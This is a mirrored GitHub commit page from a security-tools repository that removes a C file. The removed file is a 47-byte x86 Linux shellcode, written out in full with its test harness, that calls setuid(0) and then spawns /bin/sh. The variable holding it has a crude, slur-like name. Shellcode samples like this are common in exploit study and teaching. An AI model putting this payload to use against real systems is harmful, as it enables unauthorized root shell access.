mirror of
https://github.com/nullsecuritynet/tools
synced 2026-06-08 16:27:39 +00:00
remove source files.
This commit is contained in:
@@ -1,55 +0,0 @@
|
||||
/*******************************************************************************
|
||||
* *
|
||||
* ~ .__ °.__ 0 o ^ .__ °__ `´ *
|
||||
* °____) __ __| | | °| ______°____ 0 ____ __ _________|__|/ |_ ___.__. *
|
||||
* / \| | °\ |°| | °/ ___// __ \_/ ___\| | °\_ __ \ o\ __< | | *
|
||||
* | o°| \ | / |_| |__\___ \\ ___/\ °\___| o| /| | \/ || |° \___ O| *
|
||||
* |___| /____/|____/____/____ °>\___ >\___ >____/ |__|° |__||__| / ____| *
|
||||
* `´´`´\/´`nullsecurity team`´\/`´´`´\/`´``´\/ ``´```´```´´´´`´``0_o\/´´`´´ *
|
||||
* *
|
||||
* execve_linux.c *
|
||||
* *
|
||||
* DATE *
|
||||
* xx/xx/2008 *
|
||||
* *
|
||||
* OS *
|
||||
* Linux *
|
||||
* *
|
||||
* ARCH *
|
||||
* x86 *
|
||||
* *
|
||||
* TYPE *
|
||||
* setuid(0); execve("/bin/sh", foobar, NULL); *
|
||||
* *
|
||||
* SIZE *
|
||||
* 47 bytes *
|
||||
* *
|
||||
* AUTHOR *
|
||||
* noptrix - http://www.nullsecurity.net/ *
|
||||
* *
|
||||
******************************************************************************/
|
||||
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
|
||||
unsigned char gaycode[] =
|
||||
"\xeb\x21\x31\xdb\x8d\x43\x17\xcd\x80\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89"
|
||||
"\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8"
|
||||
"\xda\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
|
||||
|
||||
int main()
|
||||
{
|
||||
void (*f)();
|
||||
|
||||
|
||||
f = (void *) gaycode;
|
||||
|
||||
printf("%d\n", strlen(gaycode));
|
||||
|
||||
f();
|
||||
|
||||
return 1337;
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user